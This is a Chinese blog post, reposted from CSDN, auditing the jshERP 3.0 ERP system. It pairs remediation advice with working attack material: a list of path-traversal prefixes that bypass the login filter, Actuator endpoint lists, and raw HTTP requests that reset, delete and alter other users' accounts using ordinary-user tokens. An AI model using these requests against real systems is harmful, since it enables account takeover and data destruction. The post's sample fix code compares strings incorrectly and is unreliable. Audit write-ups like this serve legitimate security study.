本文转载于:https://blog.csdn.net/Ananas_Orangey/article/details/120340010?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166565951516782427492557%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=166565951516782427492557&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~pc_rank_34-1-120340010-null-null.142v56pc_rank_34_queryrelevant25,201v3add_ask&utm_term=%E5%8D%8E%E5%A4%8FERP-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE&spm=1018.2226.3001.4187
也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大
少走了弯路,也就错过了风景,无论如何,感谢经历
0x01 前言
3.0 跟2.x版本框架方面有所改变,本次审计主要是基于之前网上大佬们的文章来做的,基本上都是之前2.x 就存在的漏洞,因为时间有限,近期又要学习JAVA代码审计与工作上的安排,没有细致的审计,后续可能会找一些开源的JAVA靶场来做审计,节约审计的时间成本,之前无JAVA审计基础,写的浅的地方,往师傅们海涵。
顺路自己也学习一波,以及一些JAVA漏洞分析的文章,后续会输出。
通过之前简单的过了一遍基础功能点,无发现啥特别漏洞,xray也无建工,看来只能手动挖掘看看了
分析之前已获取的数据包,发现当前JAVA 系统存在FastJson ,但无Burp 的插件提示该FastJson可以出网
fastjson能dnslog但是不能rce的原因,可能是Fastjson远古版本自动开启autotype,后来的后面几个版本默认关闭。然后就算项目中可以使用autotype,如果是比较新的版本需要其他的能够构造rce链的第三方jar包支持,如果没有这些也不行。还有就是JDK版本跟目标系统不一致的也无法利用,高版本的jdk8不支持远程调用rmi等协议也是造成无法利用成功的一个原因。略早期的可以尝试使在@type的值第一位添加L或者LL尝试绕过fastjson的黑名单限制,后面会出专门的文章对序列化楼的进行分析,之前也是不太明白,后面准备好好研究研究。
该系统search参数可以出网,我本地的jdk版本比较高,也没有细的测试,后面会有文章专门针对反序列化文章。
首先先到代码pom.xml文件里面看看,该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。
Ctril+F 查找fastjson 关键字,发现是SpringBoot框架,且FastJson为1.2.55版本
网上爆出1.2.55~1.2.68以下存在FastJson 绕过导致反序列化漏洞
SpringBoot的执行流程和SSM大致相同,不过SpringBoot搭建的Web项目里简化了许多配置文件
Spring Boot使用了一个全局的配置文件application.properties,放在src/main/resources目录下或者类路径的/config下。Sping Boot的全局配置文件的作用是对一些默认配置的配置值进行修改,用来配置一些可以手动修改而且不用编译的变量,这样的作用在于,打成war包或者jar包用于生产环境时,我们可以手动修改环境变量而不用再重新编译。
看到一些配置信息、数据库连接串、Redis连接串,此处登陆超时时间有些过长,设置为了30多秒,配置人员把连接超时时间(server.tomcat.connection-timeout)的单位,理解为秒,实际上是毫秒。
例如配置的值为 6,如果建立客户端连接的过程中,恰好碰到调用System.gc()触发Full GC,并且加上GC的暂停时间总共达到6ms以上,Tomcat一看,超时了,就会导致建立连接失败,然后Nginx给客户端返回502错误。
所以,过短,请求还未处理完成,你就急不可待了;过长,请求早已超出正常响应时间而挂了。
使用Mybatis框架,MyBatis是一个优秀的持久层框架,它对jdbc的操作数据库的过程进行封装,使开发者只需要关注 SQL 本身,而不需要花费精力去处理例如注册驱动、创建connection、创建statement、手动设置参数、结果集检索等jdbc繁杂的过程代码。
Mybatis通过xml或注解的方式将要执行的各种statement(statement、preparedStatemnt、CallableStatement)配置起来,并通过java对象和statement中的sql进行映射生成最终执行的sql语句,最后由mybatis框架执行sql并将结果映射成java对象并返回。
通过下图可发现:
1、配置登陆连接时间等待过长
2、数据库连接也是以弱密码和明文
利用代码里面的弱密码成功登陆,在实际测试过程中,也可以尝试一波,可能会有意想不到的结果,虽然不一定会有意想不到的收获
0x02 Springboot 信息泄露
http://127.0.0.1:3000/jshERP-boot/v2/api-docs
有些程序员会自定义 /manage、/management、项目 App 相关名称为 spring 根路径 Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 /
Spring Boot Actuator 2.x 版本则统一以 /actuator为起始路径 Spring Boot Actuator 默认的内置路由名字,如 /env有时候也会被程序员修改,比如修改成 /appenv
路由地址及接口调用详情泄漏开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等。
一般来讲,直到 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。
2.1 防御措施
上线时需要修改/切换生产环境的配置
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
其中对寻找漏洞比较重要接口的有:
/env、/actuator/env:GET 请求 /env 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,触发相关 RCE 漏洞。/jolokia:通过 /jolokia/list 接口寻找可以利用的 MBean,触发相关 RCE 漏洞;/trace:一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息
2.2 利用思路
- 利用env加refresh进行getshell
- 利用mappings,寻找未授权接口
- 利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口
- env有可能泄露的数据库账号密码(mangodb),当然得开放外网,可能性较小
2.3 Web漏洞发现方式
通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:
-
通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:
-
通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):访问一个随便构造的路径,比如:http:/172.26.2.24:8090/index,出现如下报错页面说明web网站使用了springboot框架(在实际中遇到的大多数都是此类情况)
-
综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。
2.4 修复方式
在项目的pom.xml文件下引入spring-boot-starter-security依赖
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency>
然后在application.properties中开启security功能,配置访问账号密码,重启应用即可弹出。
management.security.enabled=true
security.user.name=admin
security.user.password=admin
禁用接口,则可设置如下(如禁用env接口):
endpoints.env.enabled= false
2.5 以往漏洞案例复现手法
https://github.com/jas502n/SpringBoot_Actuator_RCE
https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/
0x03 未授权访问访问敏感信息(绕过权限)
该项目利用filter做登录判断:
com.jsh.erp.filter.LogCostFilter
查看一下Spring Boot 的过滤器器,看看过滤了哪些Spring Boot 下的@WebFilter 用于将一个类声明为过滤器,该注解将会在部署时被容器处理,容器将根据具体的属性配置将相应的类部署为过滤器。该注解具有下表给出的一些常用属性 ( 以下所有属性均为可选属性,但是 value、urlPatterns、servletNames 三者必需至少包含一个,且 value 和 urlPatterns 不能共存,如果同时指定,通常忽略 value 的取值 )
这里看到,对ignoredUrl及filterPath的value内的字段做请求时不会进行拦截
1)这里从session里取user的值,判断是否登录,如果已登录就不需要认证此请求
判断URL 中是否存在/doc.html、/register.html、/login.html,如果有就不需要认证此请求
将ignoredList 传入verify 方法中,从ignoredList中遍历取值后根据正则表达式来判断是否在URL中,如果存在就返回true,切不需要认证该请求
遍历取出allowUrls 的值,判断URL中是否以
/jshERP-boot/user/login
/jshERP-boot/user/registerUser
/jshERP-boot/user/randomImage
/jshERP-boot/platformConfig/getPlatform
/jshERP-boot/v2/api-docs
/jshERP-boot/webjars
/jshERP-boot/systemConfig/static上面这些开头,如果是就不需要认证该请求
由上述分析总结出触发认证绕过的场景:
1.requestUrl中如果存在/doc.html,/register.html,/login.html字段就可以绕过
2.requestUrl中如果存在…/a.ico/…/ (V2.0版本可以…/a.css/…/,…/a.png/…/),也可以绕过认证请求
3.requestUrl中如果以/jshERP-boot/user/login、/jshERP-boot/user/registerUser、/jshERP-boot/user/randomImage、/jshERP-boot/platformConfig/getPlatform、/jshERP-boot/v2/api-docs、/jshERP-boot/webjars、/jshERP-boot/systemConfig/static等字符开头的时候,也可以绕过认证请求
3.1 绕过认证
成功绕过
GET /a.ico/../jshERP-boot/role/list?_t=1631849650&search=%7B%22name%22:%22%22%7D&column=createTime&order=desc&field=id,,,name,type,description,action¤tPage=1&pageSize=10 HTTP/1.1
Host: 192.168xx:3000
其他几个路径也是一样的,只要在前面加上对应路径,再…/ 返回到添加了几个路径,就加几个…/
可绕过的路径有这些
/a.ico/../
/jshERP-boot/doc.html/../../
/jshERP-boot/register.html/../../
/jshERP-boot/login.html/../../
/jshERP-boot/user/login/../../../
/jshERP-boot/user/registerUser/../../../
/jshERP-boot/user/randomImage/../../../
/jshERP-boot/platformConfig/getPlatform/../../../
/jshERP-boot/v2/api-docs/../../../
/jshERP-boot/webjars/../../
/jshERP-boot/systemConfig/static/../../../
3.2 防御思路
Java Web权限认证框架,比如Shiro或Spring Security
0x04 暴力破解
从登陆的方法处能发现,并没有做暴力破解方面的安全防护措施
观察用户登录时的判断逻辑,是否是简单判断,有没有做限制措施,比如次数锁定。
看着很像MD5
看来的却和我们想的一样,是MD5 加密后的密码
4.1 验证
打开Burp测试
成功爆破
4.2 防御思路
- 加入token机制,每次登录页面都会随机生成Token字串
- 加强敏感字段的加密方式,比如使用SHA-256、SHA-384、SHA-512代替MD5,或者MD5加其他字段
- 账户锁定,因为暴力破解程序在5-6次的探测中猜出密码的可能性很小。但是同时也拒绝了正常用户的使用。如果攻击者的探测是建立在用户名探测成功之后的行为,那么会造成严重的拒绝服务攻击。对于对大量用户名只用一个密码的探测攻击账户锁定无效。如果对已经锁定的账户并不返回任何信息,可能迷惑攻击者
- 不管结果如何都返回成功的信息,破解软件就会停止攻击。但是对人来说很快就会被识破
- 产生登录错的的时候就跳到另一个页面要求重新登录。比如126和校内网都是这样做的。局限性在于不能总是跳转页面,一般只在第一次错误的时候跳转,但是第一次之后又可以继续暴力探测了
- 检查密码的时候适当的插入一些暂停,可以减缓攻击,但是可能对用户造成一定的影响
- 封锁多次登录的IP地址,这种方法也是有缺点的,因为攻击者可以定时更换自己的IP
- 验证码,验证码是阻止暴力攻击的好方法,但设计不好的验证码是可以绕过的,而且对于特定目标的手工探测来说验证码是没有作用的
0x05 越权重置密码
service层具体查看一下resetPwd函数,明显看到这里只禁止重置admin超管密码,但是并没有对当前重置密码的用户身份做判断,导致存在越权重置他人密码,这里来验证一下
getLoginName()方法获取id对应用户在数据库中保存的liginname信息,如果loginname是admin用户的话,就打印错误信息,禁止重置超管密码
通过调用getUser()方法在数据库中根据id查找对应的用户信息
结合认证绕过,可以根据用户id未授权重置用户密码
5.1 验证
POST /jshERP-boot/user/resetPwd HTTP/1.1
Host: 192.168.xxx:3000
Content-Length: 10
Accept: application/json, text/plain, */*
X-Access-Token: b7c044358aef4170a83887267da71b09_63
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.xxx:3000
Referer: http://192.168.xxxx:3000/system/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1631759117; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1632215458
Connection: close{"id":280}
通过普通用户账号的Toke 越权重置其它用户的密码为默认密码:123456
成功重置test2密码为123456,并登陆成功
5.2 修复方式
对用户操作进行鉴权,防止通过修改参数进入未授权页面及进行非法操作,建议在服务端对请求的数据和当前用户身份做校验检查。
例如:
登陆时将用户名存入session
session.setAttribute("username",username);
在相关页面判断
if((String)session.getAttribute("username")!=admin){
(response.sendRedirect("XXX.jsp"));
注意: xxx.jsp为自定义的错误页面
0x06 越权删除
batDeleteUser传入参数ids,使用逗号,分割,接着调用UserMapperEx.batDeleteOrUpdateUser()方法将ids参数拼接进sql语句进行删除,这里没有对当前执行删除用户操作的用户身份做判断,甚至没有禁止删除超级管理员,导致存在越权删除任意用户信息(包括管理员)
6.1 验证
DELETE /jshERP-boot/user/delete?id=280 HTTP/1.1
Host: 192.168.xxx:3000
Accept: application/json, text/plain, */*
X-Access-Token: 5b19a4a133904b5eaf4cdf090f6d511f_63
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Origin: http://192.168.xxx:3000
Referer: http://192.168.xxx:3000/system/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1631759117; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1632217815
Connection: close
通过普通用户账号的Toke 越权删除其它用户
成功删除
6.2 修复方式
对用户操作进行鉴权,防止通过修改参数进入未授权页面及进行非法操作,建议在服务端对请求的数据和当前用户身份做校验检查。
例如:
登陆时将用户名存入session
session.setAttribute("username",username);
在相关页面判断
if((String)session.getAttribute("username")!=admin){
(response.sendRedirect("XXX.jsp"));
0x07 越权篡改信息
查看相关函数,发现只是提示禁止修改管理员信息,并校验了一些基础的用户信息,并未做鉴权
调用getLoginName方法来获取传入的id对应的登录名,之后调用getUserListByUserNameOrLoginName方法将登录名拼接到sql语句中来获取用户列表,再从列表中取出id与前端传入的id作比较,相同的话就可以更新数据。(这里并没有对当前用户身份做判断)
7.1 验证
PUT /jshERP-boot/user/updateUser HTTP/1.1
Host: 192.168.XXX:3000
Content-Length: 198
Accept: application/json, text/plain, */*
X-Access-Token: 48b7750c14724db19282dcf98cf48067_63
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.XXX:3000
Referer: http://192.168.XXXX:3000/system/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1631759117; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1632223642
Connection: close{"id":281,"isystem":0,"loginName":"test3","orgAbr":"335","orgaId":50,"orgaUserRelId":19,"roleId":17,"roleName":"销售代表","status":0,"tenantId":63,"userType":"普通","username":"test355555555"}
7.2 防御方法
执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
对用户操作进行鉴权,防止通过修改参数进入未授权页面及进行非法操作,建议在服务端对请求的数据和当前用户身份做校验检查。
例如:
登陆时将用户名存入session
session.setAttribute("username",username);
在相关页面判断
if((String)session.getAttribute("username")!=admin){
(response.sendRedirect("XXX.jsp"));
注意:
参考链接:
https://blog.csdn.net/weixin_42282189/article/details/120355304
你以为你有很多路可以选择,其实你只有一条路可以走